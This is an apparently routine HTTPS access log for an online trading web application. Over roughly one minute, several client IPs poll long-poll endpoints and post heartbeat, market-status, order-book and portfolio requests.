[09/Jan/2026:09:37:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922925887 HTTP/1.1" -
[09/Jan/2026:09:37:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922911602 HTTP/1.1" -
[09/Jan/2026:09:37:24 +0800] 40.77.167.35 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:09:37:25 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922914060 HTTP/1.1" -
[09/Jan/2026:09:37:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922916972 HTTP/1.1" -
[09/Jan/2026:09:37:27 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922916183 HTTP/1.1" -
[09/Jan/2026:09:37:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922930952 HTTP/1.1" -
[09/Jan/2026:09:37:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922916630 HTTP/1.1" -
[09/Jan/2026:09:37:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:37:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:37:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:37:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:37:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922922189 HTTP/1.1" -
[09/Jan/2026:09:37:31 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922920053 HTTP/1.1" -
[09/Jan/2026:09:37:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:37:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:37:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922921203 HTTP/1.1" -
[09/Jan/2026:09:37:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922935973 HTTP/1.1" -
[09/Jan/2026:09:37:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922921646 HTTP/1.1" -
[09/Jan/2026:09:37:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922927333 HTTP/1.1" -
[09/Jan/2026:09:37:37 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922926058 HTTP/1.1" -
[09/Jan/2026:09:37:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922926225 HTTP/1.1" -
[09/Jan/2026:09:37:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922940999 HTTP/1.1" -
[09/Jan/2026:09:37:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922926682 HTTP/1.1" -
[09/Jan/2026:09:37:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:37:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1180
[09/Jan/2026:09:37:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:37:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:37:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:37:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1331
[09/Jan/2026:09:37:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:37:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:37:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:37:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:37:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922932489 HTTP/1.1" -
[09/Jan/2026:09:37:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922931263 HTTP/1.1" -
[09/Jan/2026:09:37:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922946057 HTTP/1.1" -
[09/Jan/2026:09:37:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922931708 HTTP/1.1" -
[09/Jan/2026:09:37:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:37:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:37:43 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922932061 HTTP/1.1" -
[09/Jan/2026:09:37:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922937676 HTTP/1.1" -
[09/Jan/2026:09:37:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:37:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:37:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:37:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:37:47 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922936277 HTTP/1.1" -
[09/Jan/2026:09:37:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922951083 HTTP/1.1" -
[09/Jan/2026:09:37:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922936741 HTTP/1.1" -
[09/Jan/2026:09:37:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:37:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:37:49 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922938053 HTTP/1.1" -
[09/Jan/2026:09:37:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922942819 HTTP/1.1" -
[09/Jan/2026:09:37:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:37:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:37:52 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922941296 HTTP/1.1" -
[09/Jan/2026:09:37:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922956147 HTTP/1.1" -
[09/Jan/2026:09:37:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922941762 HTTP/1.1" -
[09/Jan/2026:09:37:55 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922944053 HTTP/1.1" -
[09/Jan/2026:09:37:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922947885 HTTP/1.1" -
[09/Jan/2026:09:37:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922946324 HTTP/1.1" -
[09/Jan/2026:09:37:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922961168 HTTP/1.1" -
[09/Jan/2026:09:37:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922946781 HTTP/1.1" -
[09/Jan/2026:09:38:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922953080 HTTP/1.1" -
[09/Jan/2026:09:38:01 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922950049 HTTP/1.1" -
[09/Jan/2026:09:38:02 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:38:02 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:38:02 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922951363 HTTP/1.1" -
[09/Jan/2026:09:38:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922966241 HTTP/1.1" -
[09/Jan/2026:09:38:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922951827 HTTP/1.1" -
[09/Jan/2026:09:38:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922958233 HTTP/1.1" -
[09/Jan/2026:09:38:07 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922956381 HTTP/1.1" -
[09/Jan/2026:09:38:07 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922956053 HTTP/1.1" -
[09/Jan/2026:09:38:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922971270 HTTP/1.1" -
[09/Jan/2026:09:38:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922956849 HTTP/1.1" -
[09/Jan/2026:09:38:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:38:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:38:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:38:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:38:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922963360 HTTP/1.1" -
[09/Jan/2026:09:38:12 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922961533 HTTP/1.1" -
[09/Jan/2026:09:38:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922976304 HTTP/1.1" -
[09/Jan/2026:09:38:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922961883 HTTP/1.1" -
[09/Jan/2026:09:38:13 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922962052 HTTP/1.1" -
[09/Jan/2026:09:38:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:38:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:38:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:38:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:38:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922968498 HTTP/1.1" -
[09/Jan/2026:09:38:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:38:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:38:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922966571 HTTP/1.1" -
[09/Jan/2026:09:38:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922981330 HTTP/1.1" -
[09/Jan/2026:09:38:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922966922 HTTP/1.1" -
[09/Jan/2026:09:38:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:38:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
